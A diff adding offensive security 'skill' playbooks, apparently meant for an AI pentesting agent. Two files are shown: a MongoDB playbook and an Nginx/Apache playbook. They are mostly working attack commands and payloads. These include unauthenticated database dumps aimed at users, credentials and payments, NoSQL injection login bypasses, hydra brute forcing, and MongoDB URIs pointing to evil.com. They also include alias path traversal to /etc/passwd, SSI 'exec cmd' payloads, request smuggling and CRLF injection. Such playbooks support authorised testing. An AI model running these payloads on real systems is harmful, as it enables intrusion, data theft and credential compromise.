- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,257 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: mongodb
|
|
5
|
+
description: Security testing playbook for MongoDB covering unauthenticated access, NoSQL injection, data extraction, and MongoDB-specific attack techniques
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# MongoDB Security Testing
|
|
9
|
+
|
|
10
|
+
MongoDB is frequently misconfigured with no authentication — exposing all databases publicly. Attack surface: no-auth by default (MongoDB < 3.0), NoSQL injection in web apps using Mongoose/MongoDB driver, unrestricted network binding, and operator injection.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 27017,27018,27019 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 27017 — MongoDB default
|
|
23
|
+
# 27018 — MongoDB shard
|
|
24
|
+
# 27019 — MongoDB config server
|
|
25
|
+
|
|
26
|
+
# MongoDB banner check
|
|
27
|
+
nc <target> 27017
|
|
28
|
+
# Returns binary — use mongo client instead
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Unauthenticated Access
|
|
33
|
+
|
|
34
|
+
# Connect without credentials
|
|
35
|
+
mongosh <target>:27017
|
|
36
|
+
# Or: mongo --host <target> --port 27017
|
|
37
|
+
|
|
38
|
+
# Test auth requirement:
|
|
39
|
+
mongosh --host <target> --port 27017 --eval "db.adminCommand({listDatabases: 1})"
|
|
40
|
+
# If returns data without prompt → no authentication
|
|
41
|
+
|
|
42
|
+
# Using Python pymongo:
|
|
43
|
+
python3 -c "
|
|
44
|
+
import pymongo
|
|
45
|
+
c = pymongo.MongoClient('<target>', 27017, serverSelectionTimeoutMS=3000)
|
|
46
|
+
print(c.list_database_names())
|
|
47
|
+
"
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Enumeration
|
|
52
|
+
|
|
53
|
+
# List all databases
|
|
54
|
+
mongosh <target>:27017 --eval "db.adminCommand({listDatabases:1})"
|
|
55
|
+
|
|
56
|
+
# Switch to database and list collections
|
|
57
|
+
use admin
|
|
58
|
+
show collections
|
|
59
|
+
|
|
60
|
+
use <dbname>
|
|
61
|
+
show collections
|
|
62
|
+
|
|
63
|
+
# Count documents in a collection
|
|
64
|
+
db.<collection>.countDocuments({})
|
|
65
|
+
|
|
66
|
+
# Get first document (check structure)
|
|
67
|
+
db.<collection>.findOne()
|
|
68
|
+
|
|
69
|
+
# Get all documents
|
|
70
|
+
db.<collection>.find().toArray()
|
|
71
|
+
|
|
72
|
+
# Get all databases and collections in one shot:
|
|
73
|
+
mongosh --host <target> --eval "
|
|
74
|
+
var dbs = db.adminCommand({listDatabases:1}).databases;
|
|
75
|
+
dbs.forEach(function(d) {
|
|
76
|
+
var c = db.getSiblingDB(d.name);
|
|
77
|
+
var cols = c.getCollectionNames();
|
|
78
|
+
print(d.name + ': ' + cols.join(', '));
|
|
79
|
+
});
|
|
80
|
+
"
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Data Extraction
|
|
85
|
+
|
|
86
|
+
# Target high-value collections:
|
|
87
|
+
db.users.find()
|
|
88
|
+
db.accounts.find()
|
|
89
|
+
db.customers.find()
|
|
90
|
+
db.credentials.find()
|
|
91
|
+
db.sessions.find()
|
|
92
|
+
db.payments.find()
|
|
93
|
+
|
|
94
|
+
# Search for specific fields:
|
|
95
|
+
db.users.find({}, {username:1, email:1, password:1, role:1})
|
|
96
|
+
|
|
97
|
+
# Search for admin users:
|
|
98
|
+
db.users.find({role: "admin"})
|
|
99
|
+
db.users.find({is_admin: true})
|
|
100
|
+
db.users.find({$or: [{role:"admin"}, {role:"superuser"}]})
|
|
101
|
+
|
|
102
|
+
# Export entire collection to JSON:
|
|
103
|
+
mongoexport --host <target> --db <db> --collection <col> --out output/<col>.json
|
|
104
|
+
|
|
105
|
+
# Dump all databases:
|
|
106
|
+
mongodump --host <target> --out output/mongodump/
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## NoSQL Injection
|
|
111
|
+
|
|
112
|
+
### Boolean-based Operator Injection
|
|
113
|
+
|
|
114
|
+
When user input reaches MongoDB query without sanitization:
|
|
115
|
+
|
|
116
|
+
# Login form — POST body JSON injection:
|
|
117
|
+
POST /api/login
|
|
118
|
+
Content-Type: application/json
|
|
119
|
+
{"username": "admin", "password": {"$gt": ""}} # $gt matches any non-empty string
|
|
120
|
+
|
|
121
|
+
# $ne (not equal) bypass:
|
|
122
|
+
{"username": "admin", "password": {"$ne": "wrong"}}
|
|
123
|
+
|
|
124
|
+
# $in array bypass:
|
|
125
|
+
{"username": {"$in": ["admin", "root", "superuser"]}, "password": {"$gt": ""}}
|
|
126
|
+
|
|
127
|
+
# $regex — match any password starting with known prefix:
|
|
128
|
+
{"username": "admin", "password": {"$regex": "^pass"}}
|
|
129
|
+
|
|
130
|
+
# $where JavaScript injection (MongoDB < 4.4 or mapReduce enabled):
|
|
131
|
+
{"username": "admin", "$where": "sleep(5000)"} # Time-based blind
|
|
132
|
+
{"$where": "function() { return this.username == 'admin' }"}
|
|
133
|
+
|
|
134
|
+
### URL Parameter Injection
|
|
135
|
+
|
|
136
|
+
# Vulnerable: /api/users?username=admin
|
|
137
|
+
GET /api/users?username[$gt]=
|
|
138
|
+
GET /api/users?username[$ne]=wrong
|
|
139
|
+
GET /api/users?username[$regex]=admin.*
|
|
140
|
+
|
|
141
|
+
# Auth bypass:
|
|
142
|
+
GET /api/login?username[$gt]=&password[$gt]=
|
|
143
|
+
|
|
144
|
+
### PHP Injection (Array Notation)
|
|
145
|
+
|
|
146
|
+
# PHP automatically parses [] as array:
|
|
147
|
+
POST /login
|
|
148
|
+
username[%24gt]=&password[%24gt]=
|
|
149
|
+
|
|
150
|
+
### Enumeration via $regex (Blind)
|
|
151
|
+
|
|
152
|
+
# Extract admin password character by character:
|
|
153
|
+
{"username": "admin", "password": {"$regex": "^a"}} # Starts with 'a'?
|
|
154
|
+
{"username": "admin", "password": {"$regex": "^ab"}} # Starts with 'ab'?
|
|
155
|
+
# Binary search until full value extracted
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## MongoDB Aggregation Pipeline Injection
|
|
160
|
+
|
|
161
|
+
# Injection via $lookup, $graphLookup stage parameters:
|
|
162
|
+
# Test: pipeline stage parameters that accept user input
|
|
163
|
+
|
|
164
|
+
# $function operator (MongoDB 4.4+) can run JavaScript:
|
|
165
|
+
db.users.aggregate([{
|
|
166
|
+
"$match": {
|
|
167
|
+
"$expr": {
|
|
168
|
+
"$function": {
|
|
169
|
+
"body": "function(name) { return true; }",
|
|
170
|
+
"args": ["$name"],
|
|
171
|
+
"lang": "js"
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
}])
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## Authentication Brute Force
|
|
180
|
+
|
|
181
|
+
# Brute force MongoDB auth
|
|
182
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt mongodb://<target>
|
|
183
|
+
|
|
184
|
+
# nmap mongodb-brute script:
|
|
185
|
+
nmap --script mongodb-brute <target> -p 27017
|
|
186
|
+
|
|
187
|
+
# Common MongoDB credentials:
|
|
188
|
+
# admin:admin, root:root, mongodb:mongodb, admin:(empty)
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## MongoDB Configuration Analysis
|
|
193
|
+
|
|
194
|
+
# Get server configuration (if auth bypassed or no auth):
|
|
195
|
+
mongosh <target>:27017 --eval "db.adminCommand({getCmdLineOpts: 1})"
|
|
196
|
+
mongosh <target>:27017 --eval "db.adminCommand({serverStatus: 1})"
|
|
197
|
+
|
|
198
|
+
# Check if auth is enabled:
|
|
199
|
+
mongosh <target>:27017 --eval "db.adminCommand({getParameter: 1, authenticationMechanisms: 1})"
|
|
200
|
+
|
|
201
|
+
# Check replication / OpLog (for change detection):
|
|
202
|
+
mongosh <target>:27017 --eval "use local; db.oplog.rs.find().sort({$natural:-1}).limit(5)"
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## MongoDB as SSRF Target
|
|
207
|
+
|
|
208
|
+
# Via SSRF to MongoDB (gopher or HTTP-based depending on proxy):
|
|
209
|
+
# MongoDB wire protocol — not HTTP, harder to exploit directly via HTTP SSRF
|
|
210
|
+
# But: if web app allows MongoDB URI configuration:
|
|
211
|
+
mongodb://attacker-server:27017/<db> # Triggers outbound connection
|
|
212
|
+
|
|
213
|
+
# MongoDB URI injection:
|
|
214
|
+
# If connection string is user-controlled:
|
|
215
|
+
mongodb://localhost:27017/<db>@evil.com # DNS rebinding
|
|
216
|
+
mongodb+srv://evil.com/<db> # SRV record lookup to attacker
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## MongoDB Atlas / Cloud
|
|
221
|
+
|
|
222
|
+
# Check for exposed MongoDB Atlas REST API:
|
|
223
|
+
GET https://cloud.mongodb.com/api/atlas/v1.0/
|
|
224
|
+
|
|
225
|
+
# Exposed connection strings in source code / git:
|
|
226
|
+
mongodb+srv://<user>:<pass>@cluster.mongodb.net/<db>
|
|
227
|
+
# Search: grep -r "mongodb+srv://" or "mongodb://" in repos
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## Automated Scanning
|
|
232
|
+
|
|
233
|
+
# Nmap
|
|
234
|
+
nmap --script mongodb-info,mongodb-databases,mongodb-brute <target> -p 27017
|
|
235
|
+
|
|
236
|
+
# nuclei
|
|
237
|
+
nuclei -t exposures/databases/mongodb-unauth.yaml -u <target>:27017
|
|
238
|
+
|
|
239
|
+
# nosqlmap (NoSQL injection testing)
|
|
240
|
+
git clone https://github.com/codingo/NoSQLMap
|
|
241
|
+
python3 nosqlmap.py # Interactive tool for NoSQL injection
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## Pro Tips
|
|
246
|
+
|
|
247
|
+
1. MongoDB default config binds to all interfaces (`0.0.0.0`) in older versions — check immediately
|
|
248
|
+
2. `$gt: ""` injection is the most reliable auth bypass for MongoDB login forms
|
|
249
|
+
3. `$where` JavaScript injection enables time-based blind extraction but requires JS enabled
|
|
250
|
+
4. Always export with `mongoexport` after verifying access — faster than manual extraction
|
|
251
|
+
5. OpLog (`local.oplog.rs`) contains recent database operations — may reveal credentials in plaintext
|
|
252
|
+
6. Connection strings in git repos are the most common way to find MongoDB credentials
|
|
253
|
+
7. Mongoose (Node.js ODM) does NOT sanitize operator injection by default — always test `$gt`/`$ne`
|
|
254
|
+
|
|
255
|
+
## Summary
|
|
256
|
+
|
|
257
|
+
MongoDB testing = unauthenticated access check + `listDatabases` + targeted collection dump + NoSQL injection in web forms. The `$gt: ""` operator injection bypasses authentication in most Mongoose-based Node.js apps. Unauthenticated MongoDB is a complete data breach — dump everything systematically with `mongoexport`. Always test `?field[$gt]=` in URL params and `{"field": {"$gt": ""}}` in JSON bodies.
|
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: nginx-apache
|
|
5
|
+
description: Security testing playbook for Nginx and Apache web servers covering misconfigurations, path traversal, alias bypass, server-side includes, and common CVEs
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Nginx / Apache Web Server Security Testing
|
|
9
|
+
|
|
10
|
+
Web server misconfigurations are among the most common findings. Attack surface: directory listing, alias path traversal, open redirects, server-side includes, proxy header abuse, and known CVEs.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Fingerprinting
|
|
15
|
+
|
|
16
|
+
# Server header
|
|
17
|
+
curl -I <target> | grep -i server
|
|
18
|
+
# Server: nginx/1.18.0
|
|
19
|
+
# Server: Apache/2.4.51 (Ubuntu)
|
|
20
|
+
|
|
21
|
+
# X-Powered-By header:
|
|
22
|
+
curl -I <target> | grep -i x-powered
|
|
23
|
+
|
|
24
|
+
# Verbose error pages:
|
|
25
|
+
GET /nonexistent → "404 Not Found nginx/1.18.0" (version disclosure)
|
|
26
|
+
|
|
27
|
+
# Apache mod_status (very commonly exposed):
|
|
28
|
+
GET /server-status # Full request log, worker status
|
|
29
|
+
GET /server-status?auto # Machine-readable format
|
|
30
|
+
|
|
31
|
+
# Nginx status:
|
|
32
|
+
GET /nginx_status # Active connections, requests/s
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## Directory Listing
|
|
37
|
+
|
|
38
|
+
# Apache: Options +Indexes enables listing
|
|
39
|
+
GET /uploads/
|
|
40
|
+
GET /backup/
|
|
41
|
+
GET /logs/
|
|
42
|
+
GET /files/
|
|
43
|
+
GET /images/
|
|
44
|
+
GET /css/
|
|
45
|
+
GET /static/
|
|
46
|
+
GET /assets/
|
|
47
|
+
|
|
48
|
+
# Check if directory listing is on:
|
|
49
|
+
curl -s <target>/uploads/ | grep -i "index of"
|
|
50
|
+
|
|
51
|
+
# Nuclei:
|
|
52
|
+
nuclei -t exposures/configs/apache-directory-listing.yaml -u <target>
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Apache Alias Traversal (Path Confusion)
|
|
57
|
+
|
|
58
|
+
Critical: `/alias/` configuration path traversal:
|
|
59
|
+
|
|
60
|
+
# Vulnerable config:
|
|
61
|
+
# Alias /static /var/www/static
|
|
62
|
+
# (Note: no trailing slash on filesystem path)
|
|
63
|
+
|
|
64
|
+
# Exploit: add extra slash to escape alias root
|
|
65
|
+
GET /static../etc/passwd
|
|
66
|
+
GET /static..%2fetc%2fpasswd
|
|
67
|
+
|
|
68
|
+
# Vulnerable config 2:
|
|
69
|
+
# Alias /static/ /var/www/html/static
|
|
70
|
+
# ProxyPass /api/ http://backend:8080
|
|
71
|
+
# No trailing slash on ProxyPass:
|
|
72
|
+
GET /api../internal/config
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## Nginx Alias Traversal (Path Confusion)
|
|
77
|
+
|
|
78
|
+
Most common Nginx misconfiguration:
|
|
79
|
+
|
|
80
|
+
# Vulnerable Nginx config:
|
|
81
|
+
# location /static {
|
|
82
|
+
# alias /var/www/app/static/;
|
|
83
|
+
# }
|
|
84
|
+
# (No trailing slash on location, has trailing slash on alias)
|
|
85
|
+
|
|
86
|
+
# Exploit: traverse out of static directory
|
|
87
|
+
GET /static../app/config.py
|
|
88
|
+
GET /static../etc/passwd
|
|
89
|
+
GET /static../app/.env
|
|
90
|
+
|
|
91
|
+
# Test with slash:
|
|
92
|
+
GET /static/../../etc/passwd # If directory traversal not prevented
|
|
93
|
+
GET /static%2F..%2F..%2Fetc%2Fpasswd
|
|
94
|
+
|
|
95
|
+
# Safe config (both have trailing slash or both don't):
|
|
96
|
+
# location /static/ { alias /var/www/app/static/; } ← Safe
|
|
97
|
+
|
|
98
|
+
# Automated test:
|
|
99
|
+
nuclei -t misconfiguration/nginx-alias-traversal.yaml -u <target>
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Nginx Off-By-Slash (SSRF/Proxy Bypass)
|
|
104
|
+
|
|
105
|
+
# Vulnerable Nginx proxy config:
|
|
106
|
+
# location /api {
|
|
107
|
+
# proxy_pass http://backend/;
|
|
108
|
+
# }
|
|
109
|
+
# /api → http://backend// (extra slash) — may bypass backend auth
|
|
110
|
+
|
|
111
|
+
GET /api../internal # Traversal to other backend paths
|
|
112
|
+
GET /api/%2e%2e/internal
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Apache mod_status / mod_info Exposure
|
|
117
|
+
|
|
118
|
+
# Full server status (CRITICAL — reveals all active requests, IPs, URLs)
|
|
119
|
+
GET /server-status
|
|
120
|
+
GET /server-status?auto
|
|
121
|
+
GET /server-info # mod_info: full Apache config dump
|
|
122
|
+
|
|
123
|
+
# What /server-status reveals:
|
|
124
|
+
# - All active HTTP requests (with parameters — may include auth tokens)
|
|
125
|
+
# - Client IP addresses
|
|
126
|
+
# - Worker states
|
|
127
|
+
# - Request rate/throughput
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
## Apache Server-Side Includes (SSI Injection)
|
|
132
|
+
|
|
133
|
+
If the server parses SSI in user-controlled files:
|
|
134
|
+
|
|
135
|
+
# SSI directives (if .shtml files or SSI enabled for .html):
|
|
136
|
+
<!--#echo var="DATE_LOCAL"--> # Date disclosure
|
|
137
|
+
<!--#exec cmd="id"--> # RCE
|
|
138
|
+
<!--#include virtual="/etc/passwd"--> # File read
|
|
139
|
+
<!--#printenv--> # Dump environment
|
|
140
|
+
|
|
141
|
+
# Test: upload/inject SSI into any file that gets rendered server-side
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## HTTP Request Smuggling (CWE-444)
|
|
146
|
+
|
|
147
|
+
Nginx/Apache as reverse proxy — front/back disagreement on request boundary:
|
|
148
|
+
|
|
149
|
+
# CL.TE: Content-Length used by frontend, Transfer-Encoding by backend
|
|
150
|
+
POST / HTTP/1.1
|
|
151
|
+
Host: <target>
|
|
152
|
+
Content-Length: 13
|
|
153
|
+
Transfer-Encoding: chunked
|
|
154
|
+
|
|
155
|
+
0
|
|
156
|
+
|
|
157
|
+
SMUGGLED
|
|
158
|
+
|
|
159
|
+
# TE.CL: Transfer-Encoding used by frontend, Content-Length by backend
|
|
160
|
+
POST / HTTP/1.1
|
|
161
|
+
Host: <target>
|
|
162
|
+
Content-Length: 3
|
|
163
|
+
Transfer-Encoding: chunked
|
|
164
|
+
|
|
165
|
+
8
|
|
166
|
+
SMUGGLED
|
|
167
|
+
0
|
|
168
|
+
|
|
169
|
+
# Detect: use Burp Suite HTTP Request Smuggler extension
|
|
170
|
+
# Or: manual timing attack (send request, measure if next request is affected)
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Security Headers Analysis
|
|
175
|
+
|
|
176
|
+
# Check for missing security headers
|
|
177
|
+
curl -I <target> | grep -iE "strict-transport|x-frame|x-content-type|content-security|referrer|permissions|x-xss"
|
|
178
|
+
|
|
179
|
+
# Common misconfigs:
|
|
180
|
+
# Missing HSTS → SSL stripping
|
|
181
|
+
# Missing X-Frame-Options → clickjacking
|
|
182
|
+
# Missing CSP → XSS escalation
|
|
183
|
+
# Missing X-Content-Type-Options → MIME sniffing
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## Nginx Miscellaneous Misconfigurations
|
|
188
|
+
|
|
189
|
+
# CRLF injection in redirect (old Nginx):
|
|
190
|
+
GET /%0d%0aLocation:%20http://evil.com
|
|
191
|
+
|
|
192
|
+
# Merge slashes off — allows bypassing path-based rules:
|
|
193
|
+
GET //admin/ # Nginx merges by default; some configs don't
|
|
194
|
+
GET ///admin///
|
|
195
|
+
|
|
196
|
+
# IPv6 literal bypass (some WAFs/rules don't handle):
|
|
197
|
+
GET http://[::1]/admin # Loopback via IPv6
|
|
198
|
+
|
|
199
|
+
# $uri vs $request_uri in try_files (XSS via header injection):
|
|
200
|
+
# Vulnerable config: return 301 https://$host$uri;
|
|
201
|
+
# Payload: /%0d%0aSet-Cookie:+session=attacker
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Apache Miscellaneous Misconfigurations
|
|
206
|
+
|
|
207
|
+
# .htaccess parsing (if AllowOverride All):
|
|
208
|
+
# Upload .htaccess to change configuration
|
|
209
|
+
# Content: Options +Indexes or php_value auto_prepend_file /etc/passwd
|
|
210
|
+
|
|
211
|
+
# Apache Tomcat (Java) alongside Apache HTTP:
|
|
212
|
+
GET /manager/html # Tomcat manager (common creds: tomcat:tomcat, admin:admin)
|
|
213
|
+
GET /manager/status
|
|
214
|
+
GET /host-manager/html
|
|
215
|
+
|
|
216
|
+
# Apache mod_proxy open relay:
|
|
217
|
+
GET http://evil.com/ HTTP/1.1
|
|
218
|
+
Host: <target>
|
|
219
|
+
# If proxy configured without ProxyRequests Off:
|
|
220
|
+
# Target becomes an HTTP proxy to the internet
|
|
221
|
+
|
|
222
|
+
# Options * method exposure:
|
|
223
|
+
OPTIONS / HTTP/1.1
|
|
224
|
+
Host: <target>
|
|
225
|
+
# Response: Allow: GET, POST, OPTIONS, TRACE, DELETE, PUT...
|
|
226
|
+
# TRACE enabled = XST (Cross-Site Tracing) attack possible
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
## Configuration File Exposure
|
|
231
|
+
|
|
232
|
+
# Apache config exposure:
|
|
233
|
+
GET /.htaccess # Apache per-directory config
|
|
234
|
+
GET /.htpasswd # Basic auth credentials
|
|
235
|
+
GET /web.config # IIS (if dual-server setup)
|
|
236
|
+
|
|
237
|
+
# Nginx common config paths (if PHP/CGI exposed):
|
|
238
|
+
GET /nginx.conf
|
|
239
|
+
GET /etc/nginx/nginx.conf
|
|
240
|
+
|
|
241
|
+
# Common backup configs:
|
|
242
|
+
GET /nginx.conf.bak
|
|
243
|
+
GET /nginx.conf.old
|
|
244
|
+
GET /httpd.conf.bak
|
|
245
|
+
GET /apache.conf.bak
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## Common CVEs
|
|
250
|
+
|
|
251
|
+
| CVE | Product | Impact |
|
|
252
|
+
|-----|---------|--------|
|
|
253
|
+
| CVE-2021-41773 | Apache 2.4.49 | Path traversal + RCE |
|
|
254
|
+
| CVE-2021-42013 | Apache 2.4.49-50 | Path traversal (bypass of 41773 fix) |
|
|
255
|
+
| CVE-2019-0211 | Apache | Local privilege escalation |
|
|
256
|
+
| CVE-2017-7679 | Apache mod_mime | Buffer overflow |
|
|
257
|
+
